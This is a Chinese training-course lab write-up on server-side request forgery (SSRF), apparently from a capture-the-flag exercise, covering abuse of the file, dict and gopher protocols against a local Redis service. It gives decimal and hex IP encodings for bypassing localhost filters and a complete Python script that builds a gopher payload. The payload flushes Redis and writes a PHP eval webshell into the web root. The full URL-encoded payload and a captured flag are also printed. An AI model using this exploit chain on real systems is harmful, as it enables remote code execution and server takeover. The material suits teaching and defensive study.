零号培训平台课程-2、SSRF基础

漏洞原理:

协议利用 • File协议 • 本地文件传输协议 • 任意文件读取 • Dict协议 • 字典服务器协议 • 操作Redis • Gopher协议 • 分布型的文件搜集获取网络协议。 • 支持多行 • 操作Redis、Memcached、fastcgi、mysql等

输入: Dict://127.0.0.1:6379/info

本地IP地址被过滤: 绕过的方法有多种,1、把IP地址转换成10进制、16进制

输入: dict://2130706433:6379/info

dict://0x7F000001:6379/info

Python代码生成gopher协议报文写入webshell

#/usr/bin/python

import urllib

protocol="gopher://"
# redis所在服务器的IP,10进制IP:127.0.0.1
ip="2130706433"
port="6379"
# php代码,POST方式提交、GET方式提交
shell="

<?php eval($_POST["cmd"]);?>

"
filename="shell.php"
# web服务所在目录
path="/var/www/html"
passwd=""
cmd=["flushall",
   "set 1 {}".format(shell.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]

if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"

def redis_format(arr):
   CRLF="
"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd

if __name__=="__main__":
   for x in cmd:
      payload += urllib.parse.quote(redis_format(x))
   print(payload)

通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell: gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

连接目标webshell

找到写入的shell.php和flag

Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91

经验分享 程序员 微信小程序 职场和发展